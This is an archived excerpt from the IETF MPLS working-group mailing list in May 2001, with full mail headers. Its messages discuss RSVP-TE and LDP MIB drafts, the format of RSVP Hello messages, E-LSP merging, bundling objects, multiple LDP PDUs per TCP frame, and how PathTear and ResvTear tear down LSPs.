Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknzq06513
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 15:42:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknzq18257
	for <mpls@uu.net>; Mon, 7 May 2001 15:41:33 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknzq17160
	for <mpls@uu.net>; Mon, 7 May 2001 15:41:32 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id LAA23126 for mpls@uu.net; Mon, 7 May 2001 11:41:31 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknzq06343
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 15:41:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknzq07215
	for <mpls@UU.NET>; Mon, 7 May 2001 15:37:55 GMT
Received: from rtp-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97])
	id QQknzq11836
	for <mpls@UU.NET>; Mon, 7 May 2001 15:37:55 GMT
Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f47Fakm05818;
	Mon, 7 May 2001 11:36:46 -0400 (EDT)
Received: from TNADEAU-PC02.cisco.com (tnadeau-frame2.cisco.com [10.84.75.67])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAC02049;
	Mon, 7 May 2001 11:37:53 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010507114026.0197ef40@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 07 May 2001 11:40:44 -0400
To: Giovanni.Zangrando@alcatel.it, mpls@UU.NET
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
Subject: Re: RSVP-TE MIB
In-Reply-To: <4.3.2.7.2.20010507111551.019e3c58@bucket.cisco.com>
References: <H000071100b68139@MHS>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


         Sorry, cut-and-paste error. Try this:

http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-06.txt

         --Tom




>         Try the MPLS-TE-MIB at:
>
>http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsr-mib-07.txt
>
>         --Tom
>
>
>>I have a problem with RSVP-TE MIBs.
>>In fact while the functional aspects are addressed in
>>draft-ietf-mpls-rsvp-lsp-tunnel, as far as I know the MIB to manage
>>RSVP-extensions is still to be defined (the only available MIB is
>>RFC2206).
>>
>>Please, does anybody knwow whether there is an ongoing activity
>>to define the RSVP-TE MIB?
>>
>>Thanks in advance.
>>
>>Best regards,
>>Giovanni Zangrando
>>
>>_________________________________________
>>Giovanni Zangrando
>>OMSN System Engineer - R&D ALCATEL
>>E-mail: giovanni.zangrando@alcatel.it
>>Tel: +39 039 686 9132  Fax: +39 039 686 3590



From owner-mpls@UU.NET  Mon May  7 12:25:07 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15856
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 12:25:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzt19486;
	Mon, 7 May 2001 16:23:51 GMT
Received: by mail-control.mail.uu.net 
	id QQknzt01280
	for mpls-outgoing; Mon, 7 May 2001 16:23:17 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknzt01265
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 16:23:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzt25566
	for <mpls@UU.NET>; Mon, 7 May 2001 16:23:01 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknzt16001
	for <mpls@UU.NET>; Mon, 7 May 2001 16:23:01 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA08148
	for <mpls@UU.NET>; Mon, 7 May 2001 12:22:58 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA13383
	for <mpls@UU.NET>; Mon, 7 May 2001 12:22:57 -0400 (EDT)
Message-ID: <3AF6CBEE.E4F4CED9@marconi.com>
Date: Mon, 07 May 2001 12:23:10 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP hello message
References: <OFC4E4525D.D9289D15-ON85256A44.006EEE08@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> The hello message in RSVP draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, the
> format for hello message is as on section 5.1:
> 
> <Hello message>:: = <Common Header>  [<INTEGRITY>] <HELLO>
> 
> I want to make sure if the Hello object here is only one or a list
> of Hello objects.
> For my understanding, the format in Hello message, <Hello>  is not
> a list of Hello objects, it should be one Hello object between two
> RSVP neighbours.
> Can anyone help me to confirm this?

You have the correct understanding.  A single HELLO object per message. 
One message per peer.  If for some reason you have multiple peers
sharing an interface (eg. a shared-media link), then each peer gets a
separate Hello message, each containing one HELLO object.

-- David


From owner-mpls@UU.NET  Mon May  7 13:26:41 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17273
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 13:26:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzx02628;
	Mon, 7 May 2001 17:25:59 GMT
Received: by mail-control.mail.uu.net 
	id QQknzx27531
	for mpls-outgoing; Mon, 7 May 2001 17:25:26 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknzx27526
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 17:25:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzx15520
	for <mpls@uu.net>; Mon, 7 May 2001 17:23:19 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQknzx28064
	for <mpls@uu.net>; Mon, 7 May 2001 17:23:19 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f47HNIn28023
	for <mpls@uu.net>; Mon, 7 May 2001 10:23:18 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id NAA15059 for mpls@uu.net; Mon, 7 May 2001 13:23:17 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknzx27236
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 17:22:18 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknzx24972
	for <mpls@uu.net>; Mon, 7 May 2001 17:21:32 GMT
Received: from acc.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailsrv.acc.com [129.192.64.128])
	id QQknzx24810
	for <mpls@uu.net>; Mon, 7 May 2001 17:21:31 GMT
Received: from kishan (devdhcp6211.dev.acc.am.ericsson.se [129.192.62.11])
	by acc.com (8.11.1/8.11.1) with SMTP id f47HJLI14995
	for <mpls@uu.net>; Mon, 7 May 2001 10:19:21 -0700 (PDT)
Reply-To: <harikishan.desineni@ericsson.com>
From: "Hari Kishan" <harikishan.desineni@ericsson.com>
To: <mpls@UU.NET>
Subject: E-LSP merging ?
Date: Mon, 7 May 2001 10:17:51 -0700
Message-ID: <NFBBIBMLMBKPNKKDJEGGGEHLCCAA.harikishan.desineni@ericsson.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Why is not allowed to merge TWO E-LSPs { E-LSP (1), E-LSP(2) }
which were signalled to support the following set of BAs into E-LSP
(3).

E-LSP (1) supports BAs - AF11, AF12, AF13, EF
E-LSP (2) supports BAs - AF21, AF22, AF23, AF11, AF12, AF13, EF

   merge
=============>> E-LSP (3) - BE, AF21, AF22, AF23, AF11, AF12, AF13, EF


kishan

---------------------------------
Hari Kishan Desineni,
Ericsson Inc,
Data Backbone & Optical Division,
Santabarbara,
California - 93117
Office:(805) 562 6419
Home:(805) 968 1894



From owner-mpls@UU.NET  Mon May  7 14:14:58 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18659
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 14:14:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoaa25436;
	Mon, 7 May 2001 18:14:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkoaa23688
	for mpls-outgoing; Mon, 7 May 2001 18:13:42 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoaa23579
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 18:13:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoaa13687
	for <mpls@UU.NET>; Mon, 7 May 2001 18:13:12 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [38.160.241.130])
	id QQkoaa23872
	for <mpls@UU.NET>; Mon, 7 May 2001 18:13:12 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2650.21)
	id <2X8CPXT0>; Mon, 7 May 2001 14:13:09 -0400
Message-ID: <87009604743AD411B1F600508BA0F95971BAC6@XOVER.dedham.mindspeed.com>
From: "Saha, Sayandeb" <ssaha@netplane.com>
To: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject:  UPSTREAM_COMPONENT_INTERFACE_ID  question 
Date: Mon, 7 May 2001 14:13:01 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

draft-kompella-mpls-bundle-05.txt (section 5.2.1) speaks about the
UPSTREAM_COMPONENT_INTERFACE_ID object which is to be
included as a part of the <sender descriptor> for bidirectional LSPs
when using Explicit Indication by Unnumbered. This seems to be an
exception which allows one to specify a component for the upstream
traffic.
Specification of a component for upstream traffic is not supported for
other indication types in Bundling (Implicit Indication and Explicit
Indication by IP address), but instead is inferred.  Also in the
non-bundling
case, when signaling unnumbered interfaces, the ERO only includes 
the upstream router_id and the outgoing interface Id, again nothing about
the upstream link on which traffic should be carried.

My question:
What is the point in having a UPSTREAM_COMPONENT_INTERFACE_ID
for the Explicit Indication by Unnumbered case, when there is nothing
similar
for other cases?  Isn't the  DOWNSTREAM_COMPONENT_INTERFACE_ID 
enough to let us know which link should be selected for reverse direction of
the Bidirectional LSP? Am I missing something here?

-Sayan



From owner-mpls@UU.NET  Mon May  7 14:37:56 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18944
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 14:37:55 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoac28356;
	Mon, 7 May 2001 18:37:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkoac26735
	for mpls-outgoing; Mon, 7 May 2001 18:36:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoac26723
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 18:36:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoac09754
	for <mpls@uu.net>; Mon, 7 May 2001 18:35:47 GMT
Received: from acc.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailsrv.acc.com [129.192.64.128])
	id QQkoac09175
	for <mpls@uu.net>; Mon, 7 May 2001 18:35:46 GMT
Received: from kishan (devdhcp6211.dev.acc.am.ericsson.se [129.192.62.11])
	by acc.com (8.11.1/8.11.1) with SMTP id f47IXaI24121
	for <mpls@uu.net>; Mon, 7 May 2001 11:33:36 -0700 (PDT)
Reply-To: <kishan@acc.com>
From: "Hari Kishan" <kishan@acc.com>
To: <mpls@UU.NET>
Subject: Question on LdpEntityIndex ??
Date: Mon, 7 May 2001 11:32:06 -0700
Message-ID: <NFBBIBMLMBKPNKKDJEGGGEHNCCAA.kishan@acc.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


The draft-ietf-mpls-ldp-mib-07.txt has the following
description about EntityIndex.

" mplsLdpEntityIndex OBJECT-TYPE

			....
			....

             A secondary index (this object) is needed by some
             but not all, LDP implementations.  For example
             in an LDP implementation which uses PPP, this
             index may be needed."
         ::= { mplsLdpEntityEntry 2 } "


Can anybody tell me one practical scenario where this entityindex
MUST be used. ( I could not understand the PPP example
written in the draft)


This Entity Index is made part of the INDEX for many tables like
adjacency table, session table , etc.,

As per my understanding a LDP Session can be uniquely identified by
{ mplsLdpEntityLdpId,mplsLdpPeerLdpId }, but the ldp-mib uses
{mplsLdpEntityLdpId,mplsLdpEntityIndex, mplsLdpPeerLdpId } as the
INDEX.

If {a,b} forms the INDEX of a table, {a,b,c} ( assume 'c' is a column
in
the table ) also works ( of course any superset of {a,b} works ).

Again, I would like to know when exactly does it become a MUST to use
this
entityindex to uniquely identify a LDP session in LDP Session table.

thanks,
Kishan

---------------------------------
Hari Kishan Desineni,
Ericsson Inc,
Data Backbone & Optical Division,
Santabarbara,
California - 93117
Office:(805) 562 6419
Home:(805) 968 1894



From owner-mpls@UU.NET  Mon May  7 14:40:09 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18991
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 14:40:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoac13782;
	Mon, 7 May 2001 18:39:49 GMT
Received: by mail-control.mail.uu.net 
	id QQkoac26970
	for mpls-outgoing; Mon, 7 May 2001 18:39:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoac26947
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 18:39:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoac18928
	for <mpls@UU.NET>; Mon, 7 May 2001 18:38:28 GMT
Received: from dnsmx2pya.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkoac03007
	for <mpls@UU.NET>; Mon, 7 May 2001 18:38:28 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id OAA07005;
	Mon, 7 May 2001 14:36:58 -0400 (EDT)
Subject: Re: RSVP hello message
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 7 May 2001 14:37:23 -0400
Message-ID: <OFECE349BA.517BF5B0-ON85256A45.006647F3@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/07/2001 02:37:24 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Thanks for your pointer.  I really appreciated.

Did you get chance to take a look at my disconnection(clear network)
questions?

Thanks

Julia




David Charlap <david.charlap@marconi.com> on 05/07/2001 12:23:10 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP hello message



Hong Liao wrote:
>
> The hello message in RSVP draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, the
> format for hello message is as on section 5.1:
>
> <Hello message>:: = <Common Header>  [<INTEGRITY>] <HELLO>
>
> I want to make sure if the Hello object here is only one or a list
> of Hello objects.
> For my understanding, the format in Hello message, <Hello>  is not
> a list of Hello objects, it should be one Hello object between two
> RSVP neighbours.
> Can anyone help me to confirm this?

You have the correct understanding.  A single HELLO object per message.
One message per peer.  If for some reason you have multiple peers
sharing an interface (eg. a shared-media link), then each peer gets a
separate Hello message, each containing one HELLO object.

-- David






From owner-mpls@UU.NET  Mon May  7 15:44:15 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA20533
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 15:44:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoag08938;
	Mon, 7 May 2001 19:43:07 GMT
Received: by mail-control.mail.uu.net 
	id QQkoag22278
	for mpls-outgoing; Mon, 7 May 2001 19:42:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoag22268
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 19:42:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoag00379
	for <mpls@uu.net>; Mon, 7 May 2001 19:40:47 GMT
Received: from relay2.nai.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: relay2.nai.com [161.69.3.67])
	id QQkoag05388
	for <mpls@uu.net>; Mon, 7 May 2001 19:40:46 GMT
Received: from scwsout1.nai.com (webshield2.nai.com [161.69.3.73])
	by relay2.nai.com (8.9.3/8.9.3) with SMTP id MAA26055
	for <mpls@uu.net>; Mon, 7 May 2001 12:40:46 -0700 (PDT)
Received: FROM ca-ex-bridge2.nai.com BY scwsout1.nai.com ; Mon May 07 12:40:44 2001 -0700
Received: by dns-31.dhcp-5.nai.com with Internet Mail Service (5.5.2653.19)
	id <J113CDLZ>; Mon, 7 May 2001 12:51:16 -0700
Message-ID: <55E02B6F8FA8D311985300902740BB2003598278@ca-exchange4.nai.com>
From: "Grant, Scott" <Scott_Grant@NAI.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: LDP formats
Date: Mon, 7 May 2001 12:34:09 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I'm working on a decode for sniffer and I've encountered something that
isn't exactly described in RFC 3036. I have a trace file from Extreme
Networks where there are frames with several PDUs in a single TCP message.
I've read through RFC 3036, and I can't find anything saying that there can
or can't be multiple PDUs in a frame. Is this something that will become a
defacto standard due to several vendors doing this? I'd appreciate any
comments.

Scott Grant


From owner-mpls@UU.NET  Mon May  7 16:06:02 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA21165
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 16:06:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoai01346;
	Mon, 7 May 2001 20:04:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkoai05346
	for mpls-outgoing; Mon, 7 May 2001 20:04:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoai05291
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 20:04:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoai05541
	for <mpls@UU.NET>; Mon, 7 May 2001 20:03:11 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkoai08657
	for <mpls@UU.NET>; Mon, 7 May 2001 20:03:11 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA27468
	for <mpls@UU.NET>; Mon, 7 May 2001 16:03:08 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA03150
	for <mpls@UU.NET>; Mon, 7 May 2001 16:03:08 -0400 (EDT)
Message-ID: <3AF6FF89.E0D859E7@marconi.com>
Date: Mon, 07 May 2001 16:03:21 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: disconnect connection
References: <OF203AD0B0.87CD3A5C-ON85256A45.0001BC10@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> I have questions for disconnecting(clear connection).
> 
> 1. Suppose LSR received Path message from Ingress router, and LSR
> sent out Resv message back.  If the LSR wanted to tear down this
> session, it will send out ResvTear to Ingress router, and Ingress
> router will take out the Resv state of LSR, and do not response
> back anything, this session will be ended. I may wrong.

First of all, only an egress router should be generating ResvTear
messages, unless there's a failure somewhere.  (In which case, various
PathErr and ResvErr messages should also be generated.)  A transit
router should not arbitrarily go around sending out teardown messages.

As a matter of fact, in the case of MPLS, since LSP creation is driven
by the ingress router, only the ingress router should be doing any kind
of tearing (not counting cleanup after failures.)  The ingress router,
of course, can not generate a ResvTear, because it won't go anywhere. 
It will send a PathTear when it wants to destroy the LSP.

If an egress router sends ResvTear, the reservation will be removed.  If
the ingress router doesn't subsequently tear the Path, however, the Path
state will remain in the network.  This will waste bandwidth due to the
refreshes for the unused state.  It may also result in wasted resources,
since some switches may allocate resources during Path processing.

If a transit router tries to do this, it's even worse.  You end up with
leftover Path state everywhere, and leftover reservations downstream of
that transit router.

In general, ResvTear is not used in MPLS, except possibly in conjunction
with PathErr messages.  There is no reason for a non- ingress router to
tear an LSP except in the face of failures.

> 2. another way round, if there is LSR and it forwarded Path message
> to Egress router, and Egress router sent back Resv message to LSR,
> suppose the LSR wants to tear down this session, it will send out
> the PathTear to the Egress router, and Egress router will move the
> Path state of LSR, do not response anything, this session is ended.
> Did I understand correct?

This is how an ingress router will tear an LSP.

If some router other than ingress does this, however, you will wind up
with leftover Path state in all routers upstream of the LSR.  And until
the Resv state times out, there will be leftover reservations on those
nodes as well.

> 3. If the Ingress router sends out the Path message, but the no Resv
>    message sent back from LSR, does Ingress router need to send out
>    PathTear to clear the path state in case that this Path state has
>    already been sent there.

Yes.  Path state (and all of the Path refreshing) will remain in place
forever if it is not torn down.

> 4.  How about the transit router to try to clear/tear down the
> session?

This should only happen if there is a failure (or perhaps preemption.)

In which case, it should send a PathErr upstream.  The ingress router,
upon receiving this, may then choose to tear the LSP by sending a
PathTear message.

If the failure is a broken link (where the attached router knows that a
PathTear message can't get through to the downstream nodes), the Path
state will timeout (due to lack of refreshes on that interface),
resulting in the eventual transmission of PathTear.

The router should probably choose to immediately send the PathTear as an
optimization (since a link failure will result in the nodes upstream of
the failure tearing the state), but this isn't a hard requirement.

-- David


From owner-mpls@UU.NET  Mon May  7 16:06:51 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA21193
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 16:06:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoai13241;
	Mon, 7 May 2001 20:06:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkoai12775
	for mpls-outgoing; Mon, 7 May 2001 20:05:41 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoai07715
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 20:04:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoai07963
	for <mpls@uu.net>; Mon, 7 May 2001 20:04:42 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoai13475
	for <mpls@uu.net>; Mon, 7 May 2001 20:04:42 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA15401 for mpls@uu.net; Mon, 7 May 2001 16:04:42 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoai04892
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 20:04:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoai07349
	for <mpls@UU.NET>; Mon, 7 May 2001 20:03:45 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQkoai00147
	for <mpls@UU.NET>; Mon, 7 May 2001 20:03:45 GMT
